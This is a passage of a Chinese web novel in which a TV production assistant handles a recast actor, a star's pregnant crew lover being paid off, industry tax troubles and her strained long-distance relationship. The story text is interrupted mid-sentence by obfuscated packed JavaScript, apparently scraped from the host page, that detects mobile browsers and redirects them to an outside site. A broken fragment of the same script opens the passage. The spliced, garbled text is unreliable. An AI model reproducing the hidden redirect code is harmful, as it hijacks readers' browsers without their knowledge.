l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091474|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆住了。 演员演技不错,长相一般,入行时他调整过五官,动得不大,但需要定期修补。他演过几个好角色,没红起来,急了。上部戏杀青后,他去做了手术,调整了眼尾弧度,还填充了法令纹和川字纹。 手术不大,但没哪个手术是万无一失的,演员在家待了十天,恢复得很慢,做表情很僵硬,演不了赵元僖了。 姚澈把演员骂得狗血喷头,再去骂演员的经纪人,经纪人也被蒙在鼓里。姚澈气到极点,宋太宗和其他几个皇子的戏都拍得七七八八了,就等赵元僖进组,集中拍摄父子和兄弟戏份,演员却给她来了这一出,这一时半会儿,她上哪儿去找人顶缺? 史书称,赵元僖姿貌雄毅,沉默寡言,与兄长赵元佐同日受封。宋太宗很喜爱他,给他娶团练使之女为夫人,但赵元僖宠爱的是贴身侍女张氏。 赵元佐纵酒烧宫被废黜,赵元僖顺利成为亲王,在朝中地位大增,臣子们也对他赞赏有加,宋太宗更是器重他,在封王第二年后,让他出任开封府尹。 若无意外,赵元僖将是皇位的继承人,不料一次上早朝,他忽觉身体不适,回府后陷入弥留。宋太宗亲自去探视,但没过多久,赵元僖就气绝身亡了。宋太宗大恸,罢朝五日,追封他为恭孝太子。直到宋太宗临终前两年,才把第三子赵恒立为皇太子,即后来的宋真宗,刘娥的丈夫。 赵元僖身上做戏的空间很大,是《北宋宫事》重要角色之一,杨树灵机一动,推荐祁宁:“姚总觉得祁宁能演吗?” 姚澈一怔:“元禧可不是主角。” “他更看重角色本身。”杨树从随身帆布包里抓出平板电脑,给姚澈看祁宁演的暴骄废太子片花,“我感觉他能演。” 姚澈反复看了祁宁演的战争戏场面,问:“他有档期吗?” 杨树暗暗叫苦,软科幻言情剧是24集,拍摄周期为两个月,祁宁正在无锡拍戏,10月17日才杀青,除非他轧戏,不然演不了。 姚澈追问:“他哪天有空,接了新戏吗?” 软科幻剧是小成本制作,资金控制到最低,没有《北宋宫事》被动,祁宁能顺顺利利拍完,他的新戏还没定,杨树在帮他看剧本,她照直说了祁宁的档期,姚澈思忖片刻:“愿意帮我的人,就别让他轧戏了,免得他难做。你跟他谈谈,看他肯不肯去河北拍战争戏。” 杨树愣住,赵元僖管理京师五年,理论上没空去打仗,剧本里也没写过这部分,但姚澈说戏都是人写的,历史故事做到大事不虚即可。宋太宗当皇帝都有空御驾亲征,没谁说开封府尹就不能跟他爹上阵父子兵吧? 前几天,副导演为林礼璋找到了马替,但他没有打戏经验,赵元僖原演员以前拍过打戏,但身手不如祁宁漂亮,姚澈希望祁宁作为赵元僖多拍几场战争戏,一部历史剧,终日在深宫坐而论道肯定不够,得有提气的动作戏。 战争戏场景已被删了不少大戏,姚澈想把这部分的看点集中在宋太宗和赵元僖身上,林礼璋害怕骑马,基本算是废掉了,但祁宁有经验,拍起来会迅捷点。 林礼璋拍完河北战争戏就杀青了,姚澈想找他预约档期,让他明年元月份回到横店,花上十天左右,一口气把赵家父子的戏份拍完。 杨树立刻给祁宁打电话,是助理接的,杨树说:“去问问你们家宁宁,拍完这个戏,肯不肯来演《北宋宫事》,给林礼璋演个儿子。” 杨树挑的角色,祁宁无条件接受,他找剧组请了一天假,赶到横店跟姚澈面谈。明堂影业明年还有几个戏要开,等原演员的脸恢复好,给他一个同等分量的角色就行,对于换角,他没意见。 祁宁签完约,去片场围观。他昨晚看了赵元僖的人物小传,想看看林礼璋的表演,父子君臣的关系总是耐人寻味的。 杨树正和道具师说话,道具师看着她笑,她转头,身后的祁宁正伸出手掌,想拍她的肩膀却没拍,手停在半空中,杨树笑道:“跟我们姚总谈完了?” 祁宁点头,接过她抱着的一摞道具文书,杨树转身又去拿了几件东西:“你来了,我就能多拿点。” 祁宁心情随之轻松,边走边说他给了姚澈三个月时间,从10月20日到元月20日,除了冬天在河北草原的战争戏,元月初在横店的宫廷戏,还有中旬到下旬在无锡的府邸戏,杨树低声问:“给你开了多少钱?” 祁宁对她脑袋做个开枪的手势:“80个。” 杨树嗷了一声,姚澈真是永远不改精刮本色啊,杀熟杀得真利落。她骂祁宁傻:“这点钱,你疯了吧?你没还价吗?!你给了三个月!” 祁宁被骂得乐不可支,停住脚步说:“你好像说过,你们姚总是你的贵人,你特别喜欢她。” 杨树不明所以地点头:“是啊,怎么了?” 祁宁轻笑一声,低头看她,眼神很深:“那你为什么要向着我?” 杨树被问得一呆:“能一样吗,她给你钱,不是从她口袋掏的,是投资人的钱。拍战争戏有多辛苦,你比我清楚吧?还是个配角。” 祁宁笑得很开心,他跟姚澈协商过了,海报和片头字幕都会写明是友情出演,对他来说,《北宋宫事》是大剧,演个人设好的角色,怎么想都不亏,他身体往杨树那边靠一点,小声问:“你不想看到我碾压你的男主角吗?” 杨树哈哈大笑,林礼璋的演技在单明玉调教下才能看,但祁宁现在的演技就比他强,两人同场竞技时,高下立判。 神采飞扬很自信的祁宁虽不常见,但轻敌总是不好的,杨树笑完就板起脸:“你想看到他的粉丝碾压你吗?” 祁宁立刻报复回来:“现在大家都穷了,什么时候再开戏还说不定,我能无缝进组就不错了。80个不少了,你三个月能挣这么多钱吗?” 这要是秦朗,就一脚踢过去了。杨树故意冷眼看他,快步疾走,祁宁腿长,两下就跟她并排一起走:“那个,剧本有好几场戏我不大明白,给我讲讲吧。” 69. 第 69 章 黎俏在同龄青衣里演技比较好,祁宁看完A组林礼璋的大戏,去看B组黎俏演戏。 剧组把晴好天气的清晨和黄昏都留给黎俏,这两个时间段是一天当中空气和光线密度最适宜拍摄的时刻,几乎不用打光,自然光线给世间的一切都笼上动人色彩,但光线变化很快,剧组称为“赶密度”。 杨树凝望晚霞中的黎俏,如果这张脸属于自己,生活中再多烦心事,可能都用不着去烦。每次从陶老板那里回来,她就习惯性看看黎俏,就当洗洗眼睛。 祁宁看出她的羡慕,轻声问:“难道你还没觉得,这一行里,美是不值钱的?多少漂亮女人,都在给丑男人生孩子。” 杨树笑,剧组没有秘密,黎俏倒没找有钱的丑男人,她丈夫是同行,早些年因戏生情,好得蜜里调油。婚后,丈夫跻身电影圈,演了几个配角,后来主演的小成本喜剧电影狂揽几个亿票房,他尝到甜头,接连捣鼓了几部喜剧片,被影评人抨击为恶俗粗鄙,但都没赔本。 拍电影不如拍电视剧片酬高,黎俏是家里更会挣钱的一方,但资源就那么多,她仍需要去混饭局,被丈夫毒打过很多次,丈夫扬言,若不是黎俏对他家有恩,他早就把她休了。 丈夫的父亲曾因行贿下狱,黎俏托关系,百般斡旋,给公公弄了保外就医出来。丈夫自己也一直在应酬,但妻子应酬就是挑衅他的男儿尊严,他非动手不可。 圈内信奉拳头说话的男艺人很多,他们跟任何行业的男人无甚区别。黎俏没离婚,《大唐银楼》的大咖也不离婚,尽管她们名利不缺,是国民度很高的人物。 《北宋宫事》资金匮乏,黎俏为剧组拉到几笔投资,跟姚澈提了要求,这部戏她得是一番,林礼璋的咖位比她高,但她牵线搭桥有功。 林礼璋团队当然不可能答应,哪怕从角色来讲,你随便抓个路人问,宋太宗有名,还是章献明肃皇后有名? 姚澈多处平衡,直到答应由林礼璋主演公司明年开的生活剧,他和团队才勉强同意。林礼璋很郁闷,时代说变就变了,往常他哪愁没戏演? 黎俏压了林礼璋的番位,等到《北宋宫事》做宣传时,她必会遭受林粉的辱骂,助理不是没担心过,黎俏反问:“我不争番位,他们就不骂我吗?” 夜晚降临,祁宁得赶回无锡,杨树送他到停车场,跟他聊了聊陶老板。男人女人都想从他那里得到好处,但有钱人精得很,他给好处,都是往比他们层面高的地方送,不会给比他社会地位低的人,她能看出来,那些小小年纪就闯江湖的漂亮男女看不出来吗? 祁宁说他们想留在圈子里,只能心怀侥幸,而且越是长得美,就越容易被人作践。奉献身体的人太多,有的人走运,遇到好戏好角色,成功爬上去了,有的人被作践完了,还没人拉一把,就毁了。 杨树沉默,他也被作践过,被人知晓的只是一小部分,这世界对美人并不曾温柔太多。 国庆刚过,正式公文下来了,影视公司在年底之前都得补税。演员们都开了工作室走账,他们也很伤脑筋,指挥团队忙这忙那,每天都有几场戏甩到第二天,第二天的戏再甩到第三天…… 熊好好被迫改通告单,姚澈又拉来几笔投资保障拍摄,《北宋宫事》算是幸运的,有些小公司得以缴税为重,新开的项目就地解散了。所有人都惶惶然,这次追缴风波过后,小公司会死一大批,但补税都是巨额资金,大公司也会大伤元气。 10月9日,《北宋宫事》在横店的戏份暂时杀青,杨树跟所有人一起把设备搬到车上,转战河北,拍摄宋太宗率军亲征,围攻北汉都城太原等战争戏。这段史实发生在二月,但北方苦寒,冬天漫长,从画面上不出错,而且天寒地冻更能展现战争的残酷性。 有的演员拍完横店的戏就杀青了,黎俏等演员的角色不涉及战争戏,但明年元月在无锡仍有戏份待拍,黎俏用这空档拍新戏,元月再集合。 深夜,剧组整装待发,杨树回望初秋的横店,忆起那年春节,秦朗递过的耳机里传来那首名为《海阔天空》的歌。她叹口气,海再阔,天再空,大风大浪已然到来。 北方的冬天来得早,草原比别处更冷些,林礼璋的团队每天都给众人送姜汤。晚上气温降到零下,穿着单薄的戏装或厚重的铠甲拍戏,没人不受罪。 编剧方雯跟来草原,驻组为祁宁写上若干场战争戏,既要刻画人物,还得用最俭省的方式体现。 修修改改,资金仍不充裕,姚澈让杨树和方雯再砍几个大情节。各方都没钱,它能否顺利卖掉,顺利播出,都成了未知数。杨树心情灰暗,惟一称得上安慰的事竟是看李伊梦的笑话。 李伊梦买的日剧翻拍版在上海假开机,按日本版权方要求,今年内务必开机,否则收回版权,费用不退。如今年景不好,李伊梦拉不到投资,只能搭个台子,请些小艺人亮个相。 《大唐银楼》拍摄期间,李伊梦扣了部分工作人员的尾款,杀青后,他们屡次催要,李伊梦都以剧没播出为由赖着不给,态度还恶劣,激怒他们。日剧翻拍版开机仪式上,他们当众现场投屏,爆出李伊梦和张瑞江的婚外情。 亲密照片一张接一张,李伊梦比小艺人们出风头多了,在场的所有人都掏出手机拍视频,不少人还发到网上,意外支持了张太太。 张瑞江在外面的事,张太太都知道,但夫妻利益一体,她不舍得让张瑞江分走财产,因为绝大部分是她赚的。现在证据这么足,她找了律师,对这段婚姻痛下杀手。 李伊梦和张瑞江在酒店“对出版合同”那次,张太太捉奸不成,就恨上李伊梦了。她在社交网页发布离婚宣言,痛斥张瑞江和李伊梦,并为自己捞到“独立果敢”等好评。 阴谋论者认为,那帮人是张太太雇来的,目的就是让张瑞江身败名裂,还能让他净身出户。 张瑞江尝到了恶果,不仅是太太对他扫地出门,明堂影业也不多留他了。这几年,视频网站抢占内容资源,购片价格很高,公司做的戏多个销售平台,岂不是更赚钱?张太太在QE网站身居要职,钱一诺招揽张瑞江最大的因素即是冲着他太太去的,朝中有人好办事。 张瑞江进入明堂影业没多久,钱一诺就发觉自己看走眼。此人业务能力不佳,跟太太的关系也没有他对外吹嘘的那么好,但开掉他似乎也犯不着,花个几十万年薪,就当养着这条关系,不让他做决策。 去年,张瑞江多次游说钱一诺购买一部天价男频小说,钱一诺对他很反感。小说写得还行,但是个玄幻故事,想改编得好,得花大钱制作,而且花上3000万购买版权划不来,张瑞江必然想从中拿好处费。 张太太和张瑞江交恶,钱一诺再无顾虑,找张瑞江谈了话,公司补税,董事会很操心,张瑞江在风头浪尖爆出丑闻,股东们容不了他了。但共事一场,明堂影业会保留他的职位到明年元月,给他留点体面。 《大唐银楼》仍没卖出去,主演粉丝和李伊梦请的水军时常对着剧照吹捧它,以免被人遗忘。“这剧质感绝了”、“我心中的盛唐”、“服装、建筑都很还原啊”等言论让杨树每看必乐。 大咖拍完《大唐银楼》,再没接拍电视剧,但拍的几部电影票房和口碑双失,已是半隐退状态。她和丈夫育有一女,施严说她已在联系做试管婴儿,争取一举得男,绑定丈夫的心。 李伊梦和张瑞江都受到惩罚,秦朗恭喜杨树大仇得报,杨树听到他的笑声,心情略好受了些。他仍会跟她同仇敌忾,可是分离的确在潜移默化地改变着什么,两人有段时日没能好好谈心了。 10月下旬,杨树攒够了首付款和在天津买房的资格,她在网上看了十几套房子,爸爸请年假实地去考察。 爸爸本来想趁国庆去横店探班,杨树让他挪到现在,河北离天津近些,等买完房见了面,过年时杨树就不回海拉尔了,她想去秦家住上几天。 爸爸马不停蹄看了一圈,选了和平区的一处两居室。小区有年头了,是七层高的板楼,爸爸选了三楼,窗前绿树成荫,还能在阳台上坐看小区里的一棵百年银杏,观四季变幻。 杨树的积蓄刚够付三成,爸爸添了一点钱,多付点首付,能女儿每个月房贷压力小点。影视业正在经受大变,他本不赞同此时买房,但杨树说得对,这点钱存着也没个用处。 房子是二手房,带了租约,爸爸拍了很多视频,带来河北给杨树看,他夸房子面积紧凑,但得房率较高,等杨树亲眼看了肯定满意,以后自主时再重新装修。 爸爸说得兴兴头头,他离退休还有两年,有足够的时间了解装修知识。杨树看着他的笑脸,很是欣慰。她终于有个小房子了,将来每个周末,都能回家看爸爸。 杨树买房,秦朗转账10万。杨树没用他的钱,他已不能好好上班,父母的身体是大难题,她想转回去,秦朗拒绝了,让她自己存起来。影视业形势不好,他怕她还不上房贷,有这10万块钱,好歹能撑一撑。 祁宁的软科幻言情剧拍到尾声,资金也有点掉链子,比原定时间晚了几天来组里报到。他刚来当天就拍了3场重头戏,晚上进棚拍定装照。随后,剧组官宣他友情出演赵元僖,新一轮非议砸来了。 原演员曾经被官宣过,却被祁宁替换,舆论说他是后台咖无疑。祁宁白天忙着演戏,晚上找杨树探讨剧情,把骂声都当成耳旁风。 将士们习惯在帐篷边支起篝火堆,围火夜话。火苗哔哔剥剥,烤羊肉的香气一阵接一阵,杨树叉起一根玉米烤着玩,下个月就是秦朗的生日了,可她算过,无论如何都走不开。 祁宁拍完戏过来,他今天的戏份是受了箭伤在军帐养病,穿的是常服,身上披着一件从头裹到脚的羽绒服。杨树说:“穿少了,快进屋上炕。” 祁宁弯腰,凑向火堆:“下午看你不开心,怎么了?” 杨树不答,不满道:“拍戏还有空分心,你的皇帝老爹不够看吗?” 祁宁眼睫翕动,终究没还嘴,专心烤火。杨树仔细看他,他演暴骄废太子时,她就看过他像现在这样半披半束发的剧照,真人在面前,竟还好看些,她一直觉得这种装扮很能展现古装男子的风仪。祁宁觉察到她在看他,嘴角弯起弧度,杨树咳一声:“你要不要吃点东西。” “就你烤成这样的玉米吗?”祁宁在她身旁坐下,转头对她笑,火光映照下,双眼粲粲如星。 杨树一看,玉米被烤得焦黑,祁宁问:“你有心事?” 杨树没回答,把话题转到剧本上。她的心事很简单,她想秦朗了。她受不了他日益疲惫和勉强的笑容,想听他多说说话,他总说你说吧,我想听你说话。 照顾病人的日子枯燥乏力,杨树都知道,她疼惜秦朗,但他已不愿倾诉了。杨树害怕了,不在一起生活,不能经常诉说梦想和挫败,不能随时分享心得和体会,感情会慢慢淡下来,她害怕有天秦朗不堪负荷,跟她说,他无法再负担对他的生活毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091475|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮助的异地恋情。 多少有情人就是这样,不是不爱,但爱对抗不了像洪水一样奔涌而来的厄运。杨树怀着沉甸甸的心事睡去,之后一个将雪未雪的大风天,林礼璋正跟着武指比划,一个跟组小姑娘冲出来要他负责任。 林礼璋在剧组的临时情人多达数人,19岁的小姑娘起先很安分,渐渐起了争宠之心,又或是不凑巧,她怀孕了。 河北的戏份是男人戏,小姑娘执意跟来,还甩出了化验单。林礼璋自忖做了措施,否认孩子是他的,小姑娘被激怒,宣布昭告天下。 林礼璋的人设是温良君子,提出私了,但小姑娘不惧做亲子鉴定,她说这不是钱的事,她就是爱他,一定要把孩子生下来。 林礼璋还得拍戏,调解工作落在了杨树头上。杨树搬去和小姑娘同吃同住,贴身开导。小姑娘在戏里演医女,跟谁都不熟,对谁也不信,杨树还没开口,她就狂骂杨树是林礼璋的帮凶,逼人堕胎。 若不是为了工作,杨树对这种事情避之不及。她也有过19岁,那时念大学一年级,虽然看不清未来的方向,但脑子并不算糊涂,她知道小姑娘心里有笔账,等小姑娘骂完,她问:“你知道他为什么卖单身人设吗?” 小姑娘说:“他是明星,公开恋情会脱粉。但我不计较,只要他在身边,我就知足。” 杨树说:“你知道他在剧组还有别人。” 小姑娘骄傲地笑了:“只有我怀了他的孩子不是吗?” 杨树问:“你觉得这说明什么?” 小姑娘双手抚着肚子,微笑道:“是那些人缠着他。他对我是最不同的。” 杨树说:“不公开你们任何一个,是因为,公开了就不方便跟更多女人睡。他对你不闻不问,你还没想明白吗?” 小姑娘说:“我知道他很想私下见我,但团队不让。团队的人顾虑总是特别多,其实真公开了,老粉们能不祝福我们吗?” 杨树闭上眼睛睡觉,林礼璋的公关团队都搞不定的事,她一个制片助理又能如何,总不能把小姑娘拖去医院,割上血淋淋的一刀。 谈完这一次,杨树不多嘴了,如常出入片场,如常吃饭睡觉,没人责怪她办事不力,她总不能逼着别人扼杀人命吧? 林礼璋拒绝见小姑娘,让公关团队代表他跟小姑娘协商,但小姑娘只想见他,不和别人谈,可她没有几场戏份,一天到晚在酒店房间枯坐。熊好好问过,小姑娘直接捅到网上去了怎么办,杨树摇头:“她不会。” 小姑娘在怀孕后躲起来,默默把孩子生了,杨树会相信是一腔真爱,但同吃同住两天,她看明白了,小姑娘野心是有一些的,傻气也是有一些的。以她的长相气质,只要好好磨砺演技,虽然可能演不上女主角,演重要配角没那么难,无非是这条路太辛苦,但又没有玉石俱焚的狠劲,还被林礼璋等人看出来了。 杨树视小姑娘如空气,小姑娘一天给制片主任打一万个电话,每次都是同一句话:“哥,你们得给我一个说法。” 制片主任哄着她:“小林做事太不像话了,我再劝劝他。单导也一直在骂他。” 在横店时,场工们羡慕林礼璋女人多,还编个顺口溜取乐:“东风吹,战鼓擂,礼璋的房门万人捶。”如今都看起了笑话,小浪蹄子把自己那几分姿色看得太重,只有被老油子耍的份。 祁宁每次都找杨树问:“你还好吧?” 杨树没好气:“烦的人是林礼璋,我能怎样?”想一想,她撂下一句话,“你引以为戒,别搞出人命。” 祁宁气结而走,心情不好的人脾气大,明明在讨论林礼璋,怎么扯到他头上了,他能招惹不懂事的人吗? 天气太冷,拍摄资金也捉襟见肘,每天都会删戏改戏,还得前后连贯,保证叙事上流畅,杨树和编剧方雯时常聊到夜深,回房间还得面对小姑娘发疯,她很烦,但每每拿起手机,想和秦朗说话,说来说去就那些话。 杨树知道自己的感情在出问题,具体是什么,又说不上来,心上就像被细小的虫子噬咬着,无法说给别人明白。她想来想去,大约就是一个字:痒。 痒不痛,但痒比痛更难以忍受。细碎的烦恼噬着心,还得听同一间房的人不时啜泣,走来走去,杨树塞上耳塞,再用被子蒙住头,不说一句话,公事多如麻,她得保障睡眠。 小姑娘受不了这窒息的氛围,大声说:“你不是说客吗,你怎么对我使用冷暴力了?” 杨树心里一酸,她也曾这样挤兑过秦朗。小姑娘自言自语,她自小脾气就犟,林礼璋犟不过她,她非生下孩子不可,林礼璋快四十了,早晚要结婚,太太为什么不能是她? 杨树打定主意不说话,小姑娘冲过来摇晃她:“别装死!我保证不骂你了,我知道你只是工作人员,你也没办法。” 杨树被她晃得烦了,坐起来,故作冷漠:“子宫是你自己的,人生也是你自己的,关我什么事。” 小姑娘一怔,继而说林礼璋方面价钱加了码,他们坚持认为是价格没谈拢,但他们不知道,她是真的爱他。杨树说:“这都是你的事。我劝不动你,没人会怪我,还能继续当工作人员,以后还能参与很多项目,人生不会被你和你的孩子影响一分一毫。” 杨树说完就躺下了,姚澈在找投资,单明玉在拍戏,制片主任每天都在发愁还能从哪里抠出一点钱来,每个人都忙,她没有偷懒的余地,想为自己的情绪寻个出口,都无能为力。 70. 第 70 章 小姑娘坐了一夜,过了两天,她去找林礼璋团队谈判,林礼璋团队都被她弄火了,请她自便。如果她坚持要生孩子,那么一年后,就拿着亲子鉴定书亮给世人吧。 小姑娘大怒:“你们就不担心他被我搞臭了吗?你们都靠他赚钱,为什么不为他想想!” 林礼璋的经纪人气乐了:“你有没有想过另一种可能?大众对Nobody没有同情心,只会觉得你犯贱犯傻,巴上小林了。他们还会同情小林,怎么这么倒霉,被你缠上了。” 小姑娘怒吼:“他玩弄女人,始乱终弃!捅出去,他还能当偶像吗?” 林礼璋的公关团队问:“你以为谁都信你?现在给你的钱,你不接着,到时候我们花在营销费上。你有同样的钱去扭转舆论吗?” 别说一线明星砸钱去泼一个女人污水了,不砸钱,仅仅因为他是一线明星,都会有一堆人跳出来骂女人是仙人跳,骂偷鸡不成蚀把米。小姑娘哭着回房间找杨树:“孩子真的是他的,我把第一次给他了,我只有他。” 杨树皮肤又过敏了,对着镜子敷唐问羽寄给她的面膜。如果不继续说重话,小姑娘仍会以为无耻之徒多少有点真心,杨树问她:“多的是想给他生孩子还不麻烦的女人,你为什么要假设他会重视你生的这个?” 小姑娘又坐了一夜,自顾自地权衡利弊,孩子就是罪证,等她生下孩子,就抢先召开新闻发布会,不信奈何不了林礼璋。杨树知道小姑娘想通过她把这番话传给林礼璋,以便重新再谈。可她是真的烦透了,又是公事又是私事,像被大卡车从心上蹍过,她什么都不想说,但小姑娘被林礼璋的智囊团逼得情绪混乱,万一脑子一热,真对外爆料,《北宋宫事》有麻烦。 林礼璋是男人,且是单身身份,他对小姑娘始乱终弃,不会让他社会性死亡,避一避风头的事,但他不能给《北宋宫事》闯祸,杨树开口了:“你最多落个鱼死网破。但是鱼死就死了,网破了就丢掉,再织一条。你应该知道,他上层关系走得很好。” 小姑娘听懂了,真到了鱼死网破的地步,林礼璋不会一蹶不振,但自己本就一无所长,孩子又塞不回去,以后怎么办?她恨声道:“你在威胁我。” “不是所有人都爱孩子,你拿孩子要挟这男人,他就一定买账吗?你再想想吧。”杨树困得睁不开眼睛,不管小姑娘怎么晃她,她蒙头睡着了。以小姑娘的性格,以及她十几岁就混剧组的经历,她恐怕不是被父母疼爱的孩子。 这话被小姑娘听进去了,她终究接受了林礼璋的100万,去医院打胎,杨树和熊好好陪同。等她进了手术室,熊好好鄙夷道:“拿了那么多钱,还哭什么呀。她也不想想,林礼璋什么样的女人娶不到,异想天开,净给人添乱。” 剜却一块肉,总归是痛的,杨树盯住手术室,总有些自恃美貌的小姑娘,自以为掌握了社会运行规律,去做些以小博大的事,却被人吃干抹净了。她摇摇头:“你以前还鄙视过他私生活混乱,现在为什么替他说话?是这个女的□□他的吗?” 熊好好语塞:“林礼璋不是好东西,她也活该。” “当初也是你情我愿。”杨树让剧组的厨子给小姑娘煲汤送来,留下一人照顾她,带上熊好好回了剧组。林礼璋道了谢,还送了礼物,但问都没问小姑娘。漂亮男人从小就不缺女人,他是不会觉得哪个女人与众不同的,合胃口就宠一宠,太烦人了就换了。 北国之冬周天寒彻,剧组很少拍大夜戏,夜晚总聚在一起烤火,再无人提起小姑娘,这一页哧啦揭过。杨树身心俱疲,总爱盯着火盆发呆,在张家界过年那次,秦家父母总在火盆边上煨上一圈砂糖橘,火里埋着板栗。 秦朗的生日到了,但杨树别说请假了,连睡觉都是囫囵一睡,一睁眼就是改剧本。生日礼物如期送达,秦朗当然不会怪女朋友,可是林林总总,全是破事,两人所聊日渐贫乏。 人人都知道杨树有心事,但关心几句,她总一笑了之,或许个人情感也没有太多可说之处,只能自我化解。而立之年的杨树已足够明白,人生实苦,大家各有各的困境。 草原气候恶劣,有时一天只能拍一两场戏,所有人一起经历草原上的严寒,扛过这部戏最艰苦的拍摄环节。 祁宁饰演二少爷的革命剧终于开播,剧组很多人聚在会议室观看,瓜子果盘摆一桌,边看边乐呵。 杨树看过剧本,依然跟大家一起猜剧情。给祁宁挑角色时,她就说过剧本质量一般,但导演和制作救了它,细火慢炖,很是入味,但在流行爽剧的时代,它和大火注定无缘。 二少爷是男四号,第八集的尾巴才登场,祁宁忍到自己出场才在社交网页做宣传。 二少爷的戏不多,但打一亮相就抢眼,杨树也惊了一下,这个角色祁宁发挥得出乎意料地稳健。 祁宁挺不好意思,那时无知无畏,导演非常忙,一天只睡5小时不到,他每天去给导演送早餐,见缝插针请教。在剧里饰演军阀的老演员也挺热心肠,祁宁在边上琢磨戏,老演员挺嫌弃,随手演一遍给他看,有时会演上两三遍。 老演员年轻时很红,是父母辈的偶像,50岁以后很少再演戏,戏瘾来了就找个剧组耍耍,看起来像在玩票,但祁宁的台词他张嘴就来,尽管剧中二少爷跟军阀没有任何对手戏。 祁宁演戏会反复看剧本,但精力都花在自己和对手演员的戏份上,老演员告诉他,知己知彼,才能真正进入这个语境。别说革命剧剧本是中等水平,哪怕再烂的剧本,演员都得对每场戏都熟,搞清楚内在逻辑。烂各有各的烂法,好也各有各的好法,拿了片酬,你得尽量找到这个“法”。 二少爷和父亲五姨太的对手戏,被观众津津乐道,自发剪出片段传播,祁宁自己都很喜欢看,他找杨树商量,再选剧本多找找正剧,他想转型。 杨树让他两手都要抓,正剧如果题材切入的视角不巧妙,班底不靠谱,演了也白演,它们本来就很难大热,如果质量不佳,就什么都没了。古装剧和时装剧起码还有基本的市场盘,能帮他打名气,名气起来了,才能拿到好点的剧本。 革命剧播完前十集,在收视榜和网播榜排名中等,杨树查看观众评价,不少人都为它感到可惜,如果男主角不这么憋屈,而是走有仇必报的爽剧路子,热度绝对比现在高得多。 杨树琢磨了片刻,人物性格没法改,因为戏都在那里面。她明白观众是好心,但做剧真的不必要求大家都遵循同一个标准,市场细分化,拍什么都能和目标受众互相联结上,才是正常健康的环境。 12月初,二手房手续办下来了,拿到了房产证,爸爸才放心,在朋友圈炫耀:“女儿买房了,等我退休就接我去养老。” 杨树一张张翻看照片,心酸眼热,陈樟忽然联系她。杨树和爸爸都没删陈樟的微信,他看到杨父发在朋友圈那套小房子的照片了。影视圈补税是全民皆知的事,杨树转行才3年多,赚的钱有限,往后只怕更难,陈樟心里很不好受,想给杨树50万。 杨树一口回绝,但陈樟有他的理由,杨树给他介绍了项目,他理应回报。今年年初的时候,易无在长夜影视公司时买下的大航海时代小说有了新动作,小说所有版权都在长夜影视公司,但拍摄成本太大,公司想把游戏版权转让出去回点本。杨树得知此事,给陈樟和长夜影视负责这一块的版权经理牵了个线。 陈樟去深圳后,杨树和他再没联系,但这是他擅长且能做好的项目。牵完线,她让双方自行联系,再没过问,当时陈樟说过如果合作成功,会给她支付介绍费,她听过就算。 陈樟和团队对大航海时代小说的游戏开发得顺利,他说于情于理,介绍费都得给。 网游和手游做好了,盈利很惊人,开发团队也能拿不少钱,杨树一直都知道。50万在北京不够做什么,但能让她多还点天津房贷,行业明年什么局势,谁也不好说,寒冬不好熬。 深夜寂无人声,杨树听到内心的动摇,陈樟这笔钱,她是拿得,这是行规。但陈樟说:“小树苗,再给我一个机会。” 杨树说:“我有男朋友。” 陈樟笑了一下,他在深圳交往过两任女朋友,都没走下去。女孩们很贤妻良母,但他怀念的是那个急脾气的爽直人。在大方向上,他和温柔女人没有不合适,但处不来,简单地说,待得不自在,很多话不愿意说,说了也收不到想要的回应。 工作很累,回家想吐吐槽,但女朋友会说那是合伙人,得搞好关系,还让他稍微控制一点脾气,陈樟就什么都不想说了。父母对两任女朋友都很友善,夸她们很贤惠,陈樟加班回来,她们会去做夜宵,尽管陈樟说吃过外卖了,但她们还照做不误。 陈樟吃了,让女朋友别等他,也别做夜宵,但女朋友下次照旧。陈樟想分手,但挑不出多少错处,女朋友哭着问她做错什么了,陈樟问杨树:“你明白吗?” 杨树说:“你想要个自己人。” 陈樟叹气,有天早上醒来,刷牙时走神,被女朋友问起,他讲起昨夜一个像科幻电影般的梦,女朋友听了两句就打岔,去洗脸化妆。如果是杨树,她会笑着听他仔仔细细地讲,会夸他那些小男孩似的想法多有创意。 期待落空,免不了怀念前任的好。但促使彼此分开的因素,不因分开就烟消云散,杨树说:“我很喜欢他。” 陈樟断然道:“我知道你俩在异地恋,他爸妈身体都不好,他负担太重了,你早点走开吧,别再受累了。” 秦家的情况,一定是姑姑告诉陈樟的,杨树暗暗磨牙,陈樟说:“我等着你们分开。退一步说,不复合你也别拒绝钱。你帮别人卖小说影视版权,不也有分成吗,对我不用扭捏。你在我心里永远是亲人。” 杨树鼻腔很酸,但陈樟拿她衡量女朋友,从前也曾拿别人衡量她,她厌烦他那套比来比去的体系:“又漂亮,又爱打扮,带出去给你长脸,还能把家里弄得干干净净,你还嫌她无趣,是人吗?!” 陈樟被她骂笑了:“我就爱你呲儿我。” 杨树不想和他调情:“我穷就穷着吧,别可怜我,不需要。”挂断才看到秦朗打了两通电话,她有点犹豫,终是说了陈樟想给她介绍费,秦朗沉默了一下,“你看着办吧。” 杨树着急道:“我是帮了他,但复合不可能,你不要误会。” 秦朗再度沉默,然后说:“我没误会。” 翻来覆去睡不着,杨树索性爬起来去剪辑室,单明玉和剪辑师仍在忙碌。剧本本身做到了时时有波澜,集集有高潮,但受制于资金和拍摄情况,删得让人心疼,不过导和演都在现有文本上加了分,杨树看了十几场大戏,群像有声有色,每一个抉择都是性格和命运的共同驱使,非常好看。 将来过审,有些戏可能留不住,力度也会被削减,杨树很惋惜,思忖把原剧本拿去出版,手机银行接连响起提示音。陈樟有限额,分了几次把50万打来,他坚持说是中介费,他因她牵线而获利,得知恩图报。 